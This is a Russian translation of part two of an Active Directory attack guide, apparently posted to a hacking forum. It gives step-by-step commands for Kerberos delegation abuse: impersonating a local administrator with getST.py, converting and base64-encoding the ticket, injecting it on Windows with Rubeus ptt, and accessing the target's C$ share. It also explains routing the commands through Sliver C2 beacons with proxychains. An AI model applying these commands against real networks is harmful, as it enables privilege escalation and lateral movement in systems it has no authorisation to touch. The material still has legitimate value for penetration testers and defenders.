Искусство взлома Active Directory с Linux (2 часть)

[D2]

Вторая часть статьи, в одну все не поместилось!

Первоисточник: https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#linux---windows
Перевел: wesskibo для xss.is
ПЕРЕД ОЗНАКОМЛЕНИЕМ ОБЯЗАТЕЛЬНО ПРОЧИТАЙТЕ ПЕРВУЮ ЧАСТЬ: threads/125568/
Linux -> Windows

Аналогично, мы можем выполнить ту же атаку, но на стороне Linux; затем мы передадим тикет в Windows, чтобы убедиться, что он работает


Код: Скопировать в буфер обмена
getST.py -spn [delegated_spn] -impersonate [user_with_local_admin] [controlled_principal] -hashes :[rc4]

Мы можем проверить, что наш тикет работает с помощью
nxc


Код: Скопировать в буфер обмена
nxc smb [IP/FQDN] --use-kcache

Существует 2 варианта переноса этого тикета в Windows:

1. Преобразование .ccache в .kirbi и ссылка на него в Rubeus.exe ptt /ticket:[ticket.kirbi]
   Требует сохранения тикета на диск, может быть сложно, если у вас нет C2
   
   
2. Преобразование .ccache в .kirbi, затем Base64-кодирование и ссылка на него в Rubeus.exe ptt /ticket:[base64_ticket]
   Если вы используете C2, длина тикета может вызвать проблемы с длиной аргументов в зависимости от протокола вашего C2.

Я продемонстрирую второй метод здесь, так как он немного более запутанный, и читатели могут быть с ним не знакомы.


Код: Скопировать в буфер обмена
ticketConverter.py ticket.ccache ticket.kirbi

Код: Скопировать в буфер обмена
cat ticket.kirbi | base64 -w 0

Импортируйте тикет на Windows с помощью команды: Rubeus.exe ptt /ticket:[base64_ticket]

Мы можем увидеть, что наш тикет был успешно импортирован с Rubeus.exe klist

Мы можем проверить, что наш тикет работает, перечислив доступные ресурсы на целевой машине, хотя, оглядываясь назад, проверка ADMIN$ была бы лучшим выбором


Код: Скопировать в буфер обмена
ls //[IP/FQDN]/c$

Почему не стоит проводить атаки из Linux​

Как уже упоминалось, инструменты на Linux не так стабильны, как вы могли бы ожидать. Это связано с тем, что большинство инструментов являются проектами, управляемыми сообществом, и не так хорошо поддерживаются, как их аналоги на Windows.

Кроме того, в этом блоге активно использовались инбанд-прокси-сокеты и proxychains для проксирования команд через рабочую станцию. Это может быть непрактично в реальных условиях, так как инбанд-прокси-сокет фактически заставляет маяки постоянно работать в interactive режиме или в режиме sleep 0, так как любое время ожидания может привести к сбоям в работе некоторых протоколов.

Чек-лист и FAQ

Вопрос: Почему я цензурирую тикеты Kerberos, которые истекут к моменту выхода этого поста?
Ответ: В некоторых случаях тикеты могут быть сломаны, и я не хочу иметь проблем.

Proxychains​

Эта обертка просто проксирует остальные ваши команды через Socks5-прокси, определенные в /etc/proxychains4.conf. Когда вы запускаете socks5-прокси Sliver, он по умолчанию открывает порт 1081 на машине оператора.

Удаленные подключения будут выглядеть следующим образом: getST.py -> 127.0.0.1:1081 -> WKSTN-1 (BEACON) -> WKSTN-2.

Это эффективно позволяет вам получить доступ к внутренним хостам через маяки, однако, как уже упоминалось, требует, чтобы маяк работал в interactive режиме или в режиме sleep 0.

Base64 -> .kirbi -> .ccache​

Когда вы создаете или запрашиваете тикеты с помощью Rubeus, обычно вы получаете тикеты в stdout в формате base64 (kirbi). В качестве альтернативы вы можете указать /outfile, и обертка в base64 будет пропущена.

Если вы хотите перенести это на Linux, вам нужно либо закодировать его в base64 и скопировать на Linux, либо Скачать